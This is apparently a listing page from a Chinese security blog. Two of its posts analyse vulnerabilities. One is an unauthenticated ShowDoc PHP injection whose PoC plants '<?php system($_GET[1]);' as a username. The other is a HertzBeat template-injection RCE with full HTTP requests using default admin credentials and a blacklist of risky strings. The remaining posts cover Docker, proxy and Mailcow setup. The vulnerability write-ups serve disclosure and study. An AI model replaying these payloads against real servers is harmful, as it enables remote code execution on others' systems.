首页
Search
1
中国电信网关配置管理系统 代码审计
10 阅读
2
正泰预付费 代码审计
10 阅读
3
ShowDoc <=3.9.2 registerByVerify 未授权PHP代码注入漏洞分析
9 阅读
4
Ubuntu部署 Clash verge 代理节点
8 阅读
5
Apache HertzBeat 模板注入漏洞
8 阅读
代码审计
渗透测试
固件安全
漏洞复现
杂七杂八
原创文章
CVE
登录
Search
标签搜索
代码审计
漏洞复现
原创文章
杂七杂八
渗透测试
Java
PHP
.Net
Python
漏洞
Alanni
累计撰写
10
篇文章
累计收到
1
条评论
首页
栏目
代码审计
渗透测试
固件安全
漏洞复现
杂七杂八
原创文章
CVE
页面
搜索到
5
篇与
的结果
2026-09-08
ShowDoc <=3.9.2 registerByVerify 未授权PHP代码注入漏洞分析
ShowDoc registerByVerify 未授权PHP代码注入漏洞分析一、基本信息系统版本: Showdoc <= 3.9.2二、漏洞分析开源地址: 我用的3.9.2版本定位到 \showdoc-3.9.2\server\Application\Api\Controller\UserController.class.php#registerByVerify对传递过来的 $username registerByVerify 并没有进行过滤。跟进 register。register 里也没有多 username 进行限制和过滤。public static function register(string $username, string $password): ?int { $username = trim($username); if ($username === '' || $password === '') { return null; } // 复用原有加密逻辑(算法一致,但通过新 Helper 实现) $salt = Security::generateSalt(); $hashed = Security::hashPassword($password, $salt); $now = time(); $uid = DB::table('user')->insertGetId([ 'username' => $username, 'password' => $hashed, 'salt' => $salt, 'reg_time' => $now, ]); return $uid ?: null; }最后用 insertGetId 写入到了 showdoc.db.php 里。将 username 改为恶意代码作为注册的用户名直接注入到 db里,后缀还是 php 的直接触发了 RCE.POC:POST /server/index.php?s=/Api/User/registerByVerify HTTP/1.1 Host: 192.168.174.138:888 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Content-Type: application/json Content-Length: 39 {"username":"<?php system($_GET[1]);","password":"Admin@12345","confirm_password":"Admin@12345","captcha_id":4,"captcha":"xgmz"}对于官方的回应,已经对其修复了。添加了正则表达式过滤。三、总结注册功能会导致 rce 调用了 registerByVerify ,也就是说 showdoc 要开启注册功能。非必要需求不发布互联网内访问。或关闭注册功能。限制 showdoc.db.php 的直接访问。
2026年09月08日
9 阅读
1 评论
1 点赞
2026-08-11
Apache HertzBeat 模板注入漏洞
Apache HertzBeat 模板注入漏洞一、基本信息开发语言: java官网地址: hertzbeat版本: 1.8.0二、漏洞分析1. 前提条件在 HertzBeat 中,要利用这个漏洞,你需要先登录。但系统在默认配置下,存在一个内置的超级管理员弱口令:admin / hertzbeat 或者普通账户 tom / hertzbeat。关键代码: sureness.yml appId: admincredential: hertzbeatrole: [admin]2. 漏洞触发链整个攻击分为两个动作:第一步:(写入恶意模板);第二步:(触发监控探测)。3. 写入恶意模板攻击者向服务器发送一个 POST /api/apps/define/yml 请求,包含了一段精心构造的 YAML 模板。# 恶意模板片段 metrics: - name: basic protocol: script # 关键点1:告诉系统用脚本协议采集 script: scriptTool: powershell # 关键点2:指定用 bash 执行, 如果时windwos你可以使用 cmd 和 powershell 工具。 scriptCommand: "cmd /c calc" # 关键点3:真正的恶意命令当这段请求到达服务器时,它会进入 AppController.java@PostMapping(path = "/define/yml") public ResponseEntity<Message<Void>> newAppDefineYml(@Valid @RequestBody AppDefineDto defineDto) { // 【漏洞点1:黑名单过滤太弱】 for (String riskyToken : RISKY_STR_ARR) { if (defineDto.getDefine().contains(riskyToken)) { throw new RuntimeException("can not has malicious remote script"); } } appService.newAppDefineYml(defineDto.getDefine()); // ... }private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; 遍历 RISKY_STR_ARR 列表内的黑名单字符串数组去拦截危险命令。但是传的命令是普通的 id > /tmp/poc,避开了这个黑名单。4. 触发HertzBeat 有一个贴心的功能叫“探测 (Detect)”:在正式保存监控前,先去目标机器上跑一次试试看通不通。攻击者向 POST /api/monitor/detect 发送请求。private void detectMonitorDirectly(Monitor monitor, List<Param> params, String collector) { Job appDefine = appService.getAppDefine(monitor.getApp()); // ... 省略包装任务的代码 ... // 关键动作把任务交给调度器去执行 List<CollectRep.MetricsData> collectRep = collectJobScheduling.collectSyncJobData(appDefine); }调度过程 (RPC 通信):collectSyncJobData 会把这个任务打包,通过网络发送给专门负责干活的节点 —— Collector (采集器)。5. RCE来到 Collector 节点。Collector 判断协议是 script 则步入 collect 。@Override public void collect(CollectRep.MetricsData.Builder builder, long monitorId, String app, Metrics metrics) { // 从任务里提取脚本配置 ScriptProtocol script = metrics.getScript(); // 准备命令列表 List<String> cmdList = new ArrayList<>(); cmdList.add(script.getScriptTool()); // 添加 "bash" // ... 添加参数 ... cmdList.add(script.getScriptCommand()); // 添加我们的恶意命令 "id > /tmp/poc" // ProcessBuilder 直接执行系统命令 ProcessBuilder processBuilder = new ProcessBuilder(cmdList); processBuilder.redirectErrorStream(true); Process process = processBuilder.start(); // 命令在服务器上执行 // ... 读取执行结果返回 ... }三、本地复现写入恶意模板。POST /api/apps/define/yml HTTP/1.1 Host: 192.168.174.138:1157 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KwjAMRt8l1wusq2HZXkW8qCaF-tNJ0w1BfHc70Mtzvo_zhmtNMIMwqQhNGC8x4qHXiDwpI_MQ_EDCThg6sPXczkEeKTdKZo1sLZrVDOty04ymZdOyr6HC7Eb2PXkaqAN9Pf9idLsoy11b4fgLnj5fp8kpww.j_lRHvRYvBWRT2CmVw9GPm9sphi37BRohaJuC--N7Ue3wiOo34e1ii53zX8cJKSAyBdRLbyueMVG16d-p_ybCA Content-Type: application/json Content-Length: 757 { "define": "category: custom\napp: cnvd\nname:\n zh-CN: pocps\n en-US: pocps\nhelp:\n zh-CN: poc\n en-US: poc\nhelpLink:\n zh-CN: https://example.com\n en-US: https://example.com\nparams:\n - field: host\n name:\n zh-CN: Host\n en-US: Host\n type: host\n required: true\nmetrics:\n - name: basic\n i18n:\n zh-CN: basic\n en-US: basic\n priority: 0\n fields:\n - field: result\n type: 1\n i18n:\n zh-CN: result\n en-US: result\n aliasFields:\n - result\n protocol: script\n script:\n scriptTool: powershell\n charset: UTF-8\n scriptCommand: \"cmd /c calc\"\n parseType: oneRow\n" }触发POST /api/monitor/detect HTTP/1.1 Host: 192.168.174.138:1157 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36 Authorization: Bearer eyJhbGciOiJIUzUxMiIsInppcCI6IkRFRiJ9.eJw1jN0KwjAMRt8l1wusq2HZXkW8qCaF-tNJ0w1BfHc70Mtzvo_zhmtNMIMwqQhNGC8x4qHXiDwpI_MQ_EDCThg6sPXczkEeKTdKZo1sLZrVDOty04ymZdOyr6HC7Eb2PXkaqAN9Pf9idLsoy11b4fgLnj5fp8kpww.j_lRHvRYvBWRT2CmVw9GPm9sphi37BRohaJuC--N7Ue3wiOo34e1ii53zX8cJKSAyBdRLbyueMVG16d-p_ybCA Content-Type: application/json { "monitor": { "name": "pocscript-detect", "app": "cnvd", "scrape": "static", "instance": "127.0.0.1", "intervals": 600, "status": 0 }, "params": [ { "field": "host", "paramValue": "127.0.0.1", "type": 1 } ] }
2026年08月11日
8 阅读
0 评论
0 点赞
2026-08-10
Docker - 更换源
Docker - 更换源一、基本信息宿主机系统: Ubuntu 20Docker版本 : 26.1.3二、Docker安装1.安装 Dockersudo apt install docker.io docker docker-compose -y2.修改配置修改 docker 镜像源。sudo vim /etc/docker/daemon.json插入国内源。{ "registry-mirrors": [ "https://docker.m.daocloud.io", "https://docker.imgdb.de", "https://docker-0.unsee.tech", "https://docker.hlmirror.com", "https://cjie.eu.org" ] }3.重启Dockersudo systemctl daemon-reload sudo systemctl restart dockerDocker compose 升级为 V2方法一、通过APT进行升级sudo apt-get update sudo apt-get install docker-compose-plugin docker compose version方法二:手动下载二进制文件(适用于特定版本需求)1.下载最新版本的二进制文件: (当前建议根据 GitHub Release 确认版本号,以下以 v2.26.1 为例)sudo DOCKER_CONFIG=${DOCKER_CONFIG:-$HOME/.docker} sudo mkdir -p $DOCKER_CONFIG/cli-plugins sudo curl -SL https://github.com/docker/compose/releases/download/v2.26.1/docker-compose-linux-x86_64 -o $DOCKER_CONFIG/cli-plugins/docker-compose2.赋予执行权限:sudo chmod +x $DOCKER_CONFIG/cli-plugins/docker-compose3.验证:sudo docker compose version方法三: 有的时候方法二会失效找不到命令执行:mkdir -p /usr/local/lib/docker/cli-plugins下载:curl -SL https://github.com/docker/compose/releases/download/v2.26.1/docker-compose-linux-x86_64 \ -o /usr/local/lib/docker/cli-plugins/docker-compose授权:chmod +x /usr/local/lib/docker/cli-plugins/docker-compose测试:docker compose version
2026年08月10日
3 阅读
0 评论
0 点赞
2026-08-06
Ubuntu部署 Clash verge 代理节点
Ubuntu部署代理节点通过 Ubuntu 部署一个兼容 Clash verge 的代理节点,这样可以无限制流量使用,但本文章仅供教学和原理分析!一、前期准备VPS:根据需求选择国内/外VPS服务器,配置和流量取决于人的多少自行配置。系统: Ubuntu代理工具: 3x-ui二、部署操作连接VPS后执行命令:更新系统。sudo apt update && sudo apt upgrade -y sudo apt install curl wget -y开放防火墙端口# 如果你想直接关闭 ufw 防火墙 sudo ufw disable # 如果你想保留 ufw,仅开放面板端口(如 54321)和节点端口(如 443) sudo ufw allow 54321/tcp sudo ufw allow 443/tcp安装 3x-ui 面板bash <(curl -Ls https://raw.githubusercontent.com/mhsanaei/3x-ui/master/install.sh)打开浏览器,访问 http://你的VPS_IP:面板端口,输入生成的随机账号密码。在左侧菜单点击 Inbounds (入站规则),然后点击 Add Inbound (添加入站)。在弹出的配置窗口中,按照以下说明填写:Remark (备注):随便填,比如 My-SS-Node。Protocol (协议):在下拉菜单中选择 shadowsocks。Port (端口):设置一个没有被占用的端口(建议在 10000 到 65535 之间,比如 34567。记得在 VPS 的防火墙里放行这个端口)。3.配置 Shadowsocks 专属参数:选择合适的加密方式是关键.当协议选择 Shadowsocks 后,下方会刷出专属的设置选项:Network (网络):保持默认的 tcp,udp 即可。Cipher (加密方式):点击下拉框选择加密算法。推荐以下两种:aes-256-gcm 或 chacha20-ietf-poly1305:最经典且兼容性最强的 AEAD 加密,所有 Clash 客户端都支持。2022-blake3-aes-256-gcm(SS-2022 系列):安全性更高的最新加密协议,前提是你的客户端必须是 Clash Meta (Clash Verge Rev)。Password (密码):在下方的 Clients (客户) 列表里,面板已经自动为你生成了一串密码。你不需要修改,直接用这个随机生成的即可。4.保存并重启 Xray:确认无误后,点击右下角的 Add (添加)。此时面板右上角会提示你重启服务。点击 Restart Xray (重启 Xray) 使配置生效。确保面板首页的 Xray 状态显示为绿色的 Running。创建一个新的客户端。 10.1 关联入站选择刚才创建的入站规则,这时候可以直接去 入站 的选项卡里复制 10.2 正常 clash 的订阅是不支持导入 ss:// 格式的,这是后需要转换。 10.3 你可以通过在线网站转换: 肥羊转换器:https://sub.v1.mk/ 边缘转换器:https://bianyuan.xyz/ 10.4 然后导入即可。
2026年08月06日
8 阅读
0 评论
0 点赞
2026-07-29
Ubuntu 22 搭建 Mailcow
Mailcow 安装部署一、环境信息Github 开源的邮箱系统,项目地址 Mailcow, 可进行 Docker 部署。我当时的Docker版本: Docker version 26.1.3, build 26.1.3-0ubuntu1~20.04.1二、安装部署拉取 Mailcowsudo git clone https://github.com/mailcow/mailcow-dockerized.git解压sudo unzip mailcow-dockerized-master.zip部署cd mailcow-dockerized-master sudo chmod -R 755 ./* sudo ./generate_config.shPS: 如果报错:Error: Cannot find command 'jq'. Cannot proceed. Solution: Please review system requirements and install requirements. Then, re-run the script. See System Requirements: https://docs.mailcow.email/getstarted/install/ Exiting...解决办法就是安装jqsudo apt update sudo apt install -y jq配置执行脚本后会填写配置信息:有域名最好写域名,比如: mail.alanni.netMail server hostname (FQDN) - this is not your mail domain, but your mail servers hostname: 127.0.0.1这里我写的本地IP地址,是因为后面我要配置 Nginx反代所以不写域名了。设置亚洲时区:Timezone [America/Los_Angeles]: Asia/Shanghai选择版本:Choose the Branch with it's number [1/2/3] 11.是稳定版本 2. 是测试版本 3.不知道到这会询问是否开启ipv6:/etc/docker/daemon.json not found. Create it with IPv6 settings? [Y/n] n如果你的系统服务器支持 ipv6 那么就会出现如下问题: User declined to create daemon.json – please manually merge the docker daemon with these configs: 那么你就要强制关闭IPV6了。配置:sudo vim /etc/docker/daemon.json写入如下内容:{ "ipv6": true, "fixed-cidr-v6": "fd00:dead:beef:c0::/64", "experimental": true, "ip6tables": true }然后重启 dockersudo systemctl restart dockerdocker 运行sudo docker compose pull sudo docker compose up -d如果遇到了sudo docker-compose up -d /usr/local/bin/docker-compose: 1: Not: not found但是你有安装 docker-compose 那么是你的版本不对,需要 V2 版本。升级 Docker-compose最快捷最方便的方法就是下载到本地上传到VPS上https://github.com/docker/compose/releases/download/v2.40.2/docker-compose-linux-x86_64执行sudo mv docker-compose-linux-x86_64 /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose docker-compose version最后sudo docker-compose up -d创建发件邮箱, 如果步骤在: E-Mail -> configuration -> Mail boxes -> add mailbox 即可正常使用。
2026年07月29日
3 阅读
0 评论
0 点赞